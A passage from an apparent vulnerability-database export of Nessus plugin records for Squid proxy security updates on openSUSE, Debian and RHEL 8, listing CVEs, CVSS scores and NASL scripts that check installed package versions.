value:\"p-cpe:/a:novell:opensuse:squid-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:squid-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:opensuse:15.1\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/07/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/11/21\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/11/22\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release =~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"openSUSE\");\nif (release !~ \"^(SUSE15\\.1)$\") audit(AUDIT_OS_RELEASE_NOT, \"openSUSE\", \"15.1\", release);\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nourarch = get_kb_item(\"Host/cpu\");\nif (!ourarch) audit(AUDIT_UNKNOWN_ARCH);\nif (ourarch !~ \"^(x86_64)$\") audit(AUDIT_ARCH_NOT, \"x86_64\", ourarch);\n\nflag = 0;\n\nif ( rpm_check(release:\"SUSE15.1\", reference:\"squid-4.9-lp151.2.7.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"squid-debuginfo-4.9-lp151.2.7.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.1\", reference:\"squid-debugsource-4.9-lp151.2.7.1\") ) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"squid / squid-debuginfo / squid-debugsource\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-06-16T17:00:46", "description": "This update for squid to version 4.9 fixes the following issues :\n\nSecurity issues fixed :\n\n - CVE-2019-13345: Fixed multiple cross-site scripting vulnerabilities in cachemgr.cgi (bsc#1140738).\n\n - CVE-2019-12526: Fixed potential remote code execution during URN processing (bsc#1156326).\n\n - CVE-2019-12523,CVE-2019-18676: Fixed multiple improper validations in URI processing (bsc#1156329).\n\n - CVE-2019-18677: Fixed Cross-Site Request Forgery in HTTP Request processing (bsc#1156328).\n\n - CVE-2019-18678: Fixed incorrect message parsing which could have led to HTTP request splitting issue (bsc#1156323).\n\n - CVE-2019-18679: Fixed information disclosure when processing HTTP Digest Authentication (bsc#1156324).\n\nOther issues addressed :\n\n - Fixed DNS failures when peer name was configured with any upper case characters\n\n - Fixed several rock cache_dir corruption issues\n\nThis update was imported from the SUSE:SLE-15:Update update project.", "cvss3": {"score": 9.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2019-11-22T00:00:00", "type": "nessus", "title": "openSUSE Security Update : squid (openSUSE-2019-2540)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12523", "CVE-2019-12525", "CVE-2019-12526", "CVE-2019-12527", "CVE-2019-12529", "CVE-2019-12854", "CVE-2019-13345", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2019-3688"], "modified": "2021-01-19T00:00:00", "cpe": ["p-cpe:/a:novell:opensuse:squid", "p-cpe:/a:novell:opensuse:squid-debuginfo", "p-cpe:/a:novell:opensuse:squid-debugsource", "cpe:/o:novell:opensuse:15.0"], "id": "OPENSUSE-2019-2540.NASL", "href": "https://www.tenable.com/plugins/nessus/131219", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from openSUSE Security Update openSUSE-2019-2540.\n#\n# The text description of this plugin is (C) SUSE LLC.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(131219);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/19\");\n\n script_cve_id(\"CVE-2019-12523\", \"CVE-2019-12525\", \"CVE-2019-12526\", \"CVE-2019-12527\", \"CVE-2019-12529\", \"CVE-2019-12854\", \"CVE-2019-13345\", \"CVE-2019-18676\", \"CVE-2019-18677\", \"CVE-2019-18678\", \"CVE-2019-18679\", \"CVE-2019-3688\");\n\n script_name(english:\"openSUSE Security Update : squid (openSUSE-2019-2540)\");\n script_summary(english:\"Check for the openSUSE-2019-2540 patch\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote openSUSE host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This update for squid to version 4.9 fixes the following issues :\n\nSecurity issues fixed :\n\n - CVE-2019-13345: Fixed multiple cross-site scripting\n vulnerabilities in cachemgr.cgi (bsc#1140738).\n\n - CVE-2019-12526: Fixed potential remote code execution\n during URN processing (bsc#1156326).\n\n - CVE-2019-12523,CVE-2019-18676: Fixed multiple improper\n validations in URI processing (bsc#1156329).\n\n - CVE-2019-18677: Fixed Cross-Site Request Forgery in HTTP\n Request processing (bsc#1156328).\n\n - CVE-2019-18678: Fixed incorrect message parsing which\n could have led to HTTP request splitting issue\n (bsc#1156323).\n\n - CVE-2019-18679: Fixed information disclosure when\n processing HTTP Digest Authentication (bsc#1156324).\n\nOther issues addressed :\n\n - Fixed DNS failures when peer name was configured with\n any upper case characters\n\n - Fixed several rock cache_dir corruption issues\n\nThis update was imported from the SUSE:SLE-15:Update update project.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1133089\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1140738\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1141329\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1141330\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1141332\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1141442\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1156323\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1156324\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1156326\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1156328\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=1156329\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected squid packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:squid\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:squid-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:squid-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:opensuse:15.0\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/07/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/11/21\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/11/22\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release =~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"openSUSE\");\nif (release !~ \"^(SUSE15\\.0)$\") audit(AUDIT_OS_RELEASE_NOT, \"openSUSE\", \"15.0\", release);\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nourarch = get_kb_item(\"Host/cpu\");\nif (!ourarch) audit(AUDIT_UNKNOWN_ARCH);\nif (ourarch !~ \"^(x86_64)$\") audit(AUDIT_ARCH_NOT, \"x86_64\", ourarch);\n\nflag = 0;\n\nif ( rpm_check(release:\"SUSE15.0\", reference:\"squid-4.9-lp150.13.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", reference:\"squid-debuginfo-4.9-lp150.13.1\") ) flag++;\nif ( rpm_check(release:\"SUSE15.0\", reference:\"squid-debugsource-4.9-lp150.13.1\") ) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"squid / squid-debuginfo / squid-debugsource\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-17T14:16:38", "description": "Multiple security issues were discovered in the Squid proxy caching server, which could result in the bypass of security filters, information disclosure, the execution of arbitrary code or denial of service.", "cvss3": {"score": 9.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2020-05-11T00:00:00", "type": "nessus", "title": "Debian DSA-4682-1 : squid - security update", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12519", "CVE-2019-12520", "CVE-2019-12521", "CVE-2019-12523", "CVE-2019-12524", "CVE-2019-12526", "CVE-2019-12528", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2020-11945", "CVE-2020-8449", "CVE-2020-8450"], "modified": "2022-05-16T00:00:00", "cpe": ["p-cpe:/a:debian:debian_linux:squid", "cpe:/o:debian:debian_linux:10.0"], "id": "DEBIAN_DSA-4682.NASL", "href": "https://www.tenable.com/plugins/nessus/136430", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Debian Security Advisory DSA-4682. The text \n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(136430);\n script_version(\"1.3\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/05/16\");\n\n script_cve_id(\"CVE-2019-12519\", \"CVE-2019-12520\", \"CVE-2019-12521\", \"CVE-2019-12523\", \"CVE-2019-12524\", \"CVE-2019-12526\", \"CVE-2019-12528\", \"CVE-2019-18676\", \"CVE-2019-18677\", \"CVE-2019-18678\", \"CVE-2019-18679\", \"CVE-2020-11945\", \"CVE-2020-8449\", \"CVE-2020-8450\");\n script_xref(name:\"DSA\", value:\"4682\");\n\n script_name(english:\"Debian DSA-4682-1 : squid - security update\");\n script_summary(english:\"Checks dpkg output for the updated package\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote Debian host is missing a security-related update.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"Multiple security issues were discovered in the Squid proxy caching\nserver, which could result in the bypass of security filters,\ninformation disclosure, the execution of arbitrary code or denial of\nservice.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/source-package/squid\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/buster/squid\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.debian.org/security/2020/dsa-4682\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\n\"Upgrade the squid packages.\n\nFor the stable distribution (buster), these problems have been fixed\nin version 4.6-1+deb10u2.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-8450\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:squid\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:10.0\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/11/26\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/05/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/05/11\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2020-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"10.0\", prefix:\"squid\", reference:\"4.6-1+deb10u2\")) flag++;\nif (deb_check(release:\"10.0\", prefix:\"squid-cgi\", reference:\"4.6-1+deb10u2\")) flag++;\nif (deb_check(release:\"10.0\", prefix:\"squid-common\", reference:\"4.6-1+deb10u2\")) flag++;\nif (deb_check(release:\"10.0\", prefix:\"squid-purge\", reference:\"4.6-1+deb10u2\")) flag++;\nif (deb_check(release:\"10.0\", prefix:\"squid3\", reference:\"4.6-1+deb10u2\")) flag++;\nif (deb_check(release:\"10.0\", prefix:\"squidclient\", reference:\"4.6-1+deb10u2\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-06-23T15:10:51", "description": "The remote Redhat Enterprise Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the RHSA-2020:4743 advisory.\n\n - squid: Improper input validation in request allows for proxy manipulation (CVE-2019-12520)\n\n - squid: Off-by-one error in addStackElement allows for heap buffer overflow and crash (CVE-2019-12521)\n\n - squid: Improper input validation in URI processor (CVE-2019-12523)\n\n - squid: Improper access restriction in url_regex may lead to security bypass (CVE-2019-12524)\n\n - squid: Heap overflow issue in URN processing (CVE-2019-12526)\n\n - squid: Information Disclosure issue in FTP Gateway (CVE-2019-12528)\n\n - squid: Out of bounds read in Proxy-Authorization header causes DoS (CVE-2019-12529)\n\n - squid: Denial of service in cachemgr.cgi (CVE-2019-12854)\n\n - squid: Buffer overflow in URI processor (CVE-2019-18676)\n\n - squid: Cross-Site Request Forgery issue in HTTP Request processing (CVE-2019-18677)\n\n - squid: HTTP Request Splitting issue in HTTP message processing (CVE-2019-18678)\n\n - squid: Information Disclosure issue in HTTP Digest Authentication (CVE-2019-18679)\n\n - squid: Mishandled HTML in the host parameter to cachemgr.cgi results in insecure behaviour (CVE-2019-18860)\n\n - squid: DoS in TLS handshake (CVE-2020-14058)\n\n - squid: Request smuggling and poisoning attack against the HTTP cache (CVE-2020-15049)\n\n - squid: Improper input validation could result in a DoS (CVE-2020-24606)\n\n - squid: Improper input validation issues in HTTP Request processing (CVE-2020-8449)\n\n - squid: Buffer overflow in reverse-proxy configurations (CVE-2020-8450)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {"score": 9.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2020-11-04T00:00:00", "type": "nessus", "title": "RHEL 8 : squid:4 (RHSA-2020:4743)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12520", "CVE-2019-12521", "CVE-2019-12523", "CVE-2019-12524", "CVE-2019-12526", "CVE-2019-12528", "CVE-2019-12529", "CVE-2019-12854", "CVE-2019-18676", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18679", "CVE-2019-18860", "CVE-2020-14058", "CVE-2020-15049", "CVE-2020-24606", "CVE-2020-8449", "CVE-2020-8450"], "modified": "2022-05-11T00:00:00", "cpe": ["cpe:/o:redhat:enterprise_linux:8", "cpe:/o:redhat:rhel_aus:8.4", "cpe:/o:redhat:rhel_e4s:8.4", "cpe:/o:redhat:rhel_eus:8.4", "cpe:/o:redhat:rhel_tus:8.4", "p-cpe:/a:redhat:enterprise_linux:libecap", "p-cpe:/a:redhat:enterprise_linux:libecap-devel", "p-cpe:/a:redhat:enterprise_linux:squid"], "id": "REDHAT-RHSA-2020-4743.NASL", "href": "https://www.tenable.com/plugins/nessus/142412", "sourceData": "##\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Red Hat Security Advisory RHSA-2020:4743. The text\n# itself is copyright (C) Red Hat, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(142412);\n script_version(\"1.7\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/05/11\");\n\n script_cve_id(\n \"CVE-2019-12520\",\n \"CVE-2019-12521\",\n \"CVE-2019-12523\",\n \"CVE-2019-12524\",\n \"CVE-2019-12526\",\n \"CVE-2019-12528\",\n \"CVE-2019-12529\",\n \"CVE-2019-12854\",\n \"CVE-2019-18676\",\n \"CVE-2019-18677\",\n \"CVE-2019-18678\",\n \"CVE-2019-18679\",\n \"CVE-2019-18860\",\n \"CVE-2020-8449\",\n \"CVE-2020-8450\",\n \"CVE-2020-14058\",\n \"CVE-2020-15049\",\n \"CVE-2020-24606\"\n );\n script_xref(name:\"RHSA\", value:\"2020:4743\");\n\n script_name(english:\"RHEL 8 : squid:4 (RHSA-2020:4743)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Red Hat host is missing one or more security updates.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Redhat Enterprise Linux 8 host has packages installed that are affected by multiple vulnerabilities as\nreferenced in the RHSA-2020:4743 advisory.\n\n - squid: Improper input validation in request allows for proxy manipulation (CVE-2019-12520)\n\n - squid: Off-by-one error in addStackElement allows for heap buffer overflow and crash (CVE-2019-12521)\n\n - squid: Improper input validation in URI processor (CVE-2019-12523)\n\n - squid: Improper access restriction in url_regex may lead to security bypass (CVE-2019-12524)\n\n - squid: Heap overflow issue in URN processing (CVE-2019-12526)\n\n - squid: Information Disclosure issue in FTP Gateway (CVE-2019-12528)\n\n - squid: Out of bounds read in Proxy-Authorization header causes DoS (CVE-2019-12529)\n\n - squid: Denial of service in cachemgr.cgi (CVE-2019-12854)\n\n - squid: Buffer overflow in URI processor (CVE-2019-18676)\n\n - squid: Cross-Site Request Forgery issue in HTTP Request processing (CVE-2019-18677)\n\n - squid: HTTP Request Splitting issue in HTTP message processing (CVE-2019-18678)\n\n - squid: Information Disclosure issue in HTTP Digest Authentication (CVE-2019-18679)\n\n - squid: Mishandled HTML in the host parameter to cachemgr.cgi results in insecure behaviour\n (CVE-2019-18860)\n\n - squid: DoS in TLS handshake (CVE-2020-14058)\n\n - squid: Request smuggling and poisoning attack against the HTTP cache (CVE-2020-15049)\n\n - squid: Improper input validation could result in a DoS (CVE-2020-24606)\n\n - squid: Improper input validation issues in HTTP Request processing (CVE-2020-8449)\n\n - squid: Buffer overflow in reverse-proxy configurations (CVE-2020-8450)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/20.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/79.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/119.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/122.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/200.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/400.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/444.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://cwe.mitre.org/data/definitions/676.html\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2019-12520\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2019-12521\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2019-12523\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2019-12524\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2019-12526\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2019-12528\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2019-12529\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2019-12854\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2019-18676\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2019-18677\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2019-18678\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2019-18679\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2019-18860\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-8449\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-8450\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-14058\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-15049\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/security/cve/CVE-2020-24606\");\n script_set_attribute(attribute:\"see_also\", value:\"https://access.redhat.com/errata/RHSA-2020:4743\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1730523\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1730528\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1770349\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1770356\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1770360\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1770365\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1770371\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1770375\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1798534\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1798540\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1798552\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1817121\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1827558\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1827562\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1827570\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1852550\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1852554\");\n script_set_attribute(attribute:\"see_also\", value:\"https://bugzilla.redhat.com/1871705\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected libecap, libecap-devel and / or squid packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2020-8450\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2019-12526\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n script_cwe_id(20, 79, 119, 122, 200, 400, 444, 676);\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/07/11\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/11/04\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/11/04\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:8\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:rhel_aus:8.4\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:rhel_e4s:8.4\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:rhel_eus:8.4\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:rhel_tus:8.4\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:libecap\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:libecap-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:squid\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\", \"redhat_repos.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude('audit.inc');\ninclude('global_settings.inc');\ninclude('misc_func.inc');\ninclude('rpm.inc');\ninclude('rhel.inc');\n\nif (!get_kb_item('Host/local_checks_enabled')) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item('Host/RedHat/release');\nif (isnull(release) || 'Red Hat' >!< release) audit(AUDIT_OS_NOT, 'Red Hat');\nos_ver = pregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, 'Red Hat');\nos_ver = os_ver[1];\nif (!rhel_check_release(operator: 'ge', os_version: os_ver, rhel_version: '8')) audit(AUDIT_OS_NOT, 'Red Hat 8.x', 'Red Hat ' + os_ver);\n\nif 